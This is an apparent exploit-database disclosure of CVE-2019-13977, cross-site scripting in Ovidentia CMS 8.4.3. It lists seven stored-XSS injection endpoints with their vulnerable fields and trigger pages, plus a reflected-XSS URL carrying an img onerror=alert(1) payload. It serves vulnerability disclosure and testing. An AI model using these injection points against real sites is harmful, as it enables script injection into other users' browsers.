Ovidentia 8.4.3 Cross Site Scripting

`#-------------------------------------------------------  
# Exploit Title: [ Ovidentia CMS - XSS Ovidentia 8.4.3 ]  
# Description: [ The vulnerability permits any kind of XSS attacks. Reflected, DOM and Stored XSS. ]  
# Date: [ 06/05/2019 ]  
# CVE: [ CVE-2019-13977 ]  
# Exploit Author:  
# [ Fernando Pinheiro (n3k00n3) ]  
# [ Victor Flores (UserX) ]  
# Vendor Homepage: [  
https://www.ovidentia.org/  
]  
# Version: [ 8.4.3 ]  
# Tested on: [ Mac,linux - Firefox, safari ]  
# Download: [  
http://en.ovidentia.org/index.php?tg=fileman&sAction=getFile&id=17&gr=Y&path=Downloads%2FDistributions&file=ovidentia-8-4-3.zip&idf=893  
]  
#  
# [ Kitsun3Sec Research Group ]  
#--------------------------------------------------------  
  
POC  
  
>========================================================  
Stored XSS  
>========================================================  
  
1. POST  
http://TARGET/ovidentia/index.php?tg=groups  
Field:  
nom  
2. POST  
http://TARGET/ovidentia/index.php?tg=maildoms&idx=create&userid=0&bgrp=y  
Fields:  
Nom  
Description  
3. GET  
http://TARGET/ovidentia/index.php?tg=delegat  
Show groups  
4. POST  
http://TARGET/ovidentia/index.php?tg=site&idx=create  
  
http://TARGET/ovidentia/index.php?tg=site&item=4  
Fields:  
Nom  
address  
description  
5. POST  
http://TARGET/ovidentia/index.php?tg=admdir&idx=mdb&id=1  
Fields:  
Libellé du champ  
Explosion:  
http://TARGET/ovidentia/index.php?tg=forums&idx=notices  
  
http://TARGET/ovidentia/index.php?tg=admdir&idx=dispdb&id=1  
  
http://TARGET/ovidentia/index.php?tg=admdir&idx=lorddb&id=1  
6. POST  
http://TARGET/ovidentia/index.php?tg=notes&idx=Create  
Fields: Notes  
Explosion:  
http://TARGET/ovidentia/index.php?tg=notes&idx=List  
7. POST  
http://TARGET/ovidentia/index.php?tg=admfaqs&idx=Add  
Fields: all  
Explosion:  
http://TARGET/ovidentia/index.php?tg=admfaqs&idx=Categories#bab_faq_2  
>========================================================  
REFLECTED  
>========================================================  
  
1. GET  
http://TARGET/ovidentia/index.php?tg=admoc&idx=addoc&item=%22%3E%3Cimg%20src=x%20onerror=alert(1)%3E  
  
Sent from [ProtonMail](https://protonmail.com), encrypted email based in Switzerland.  
`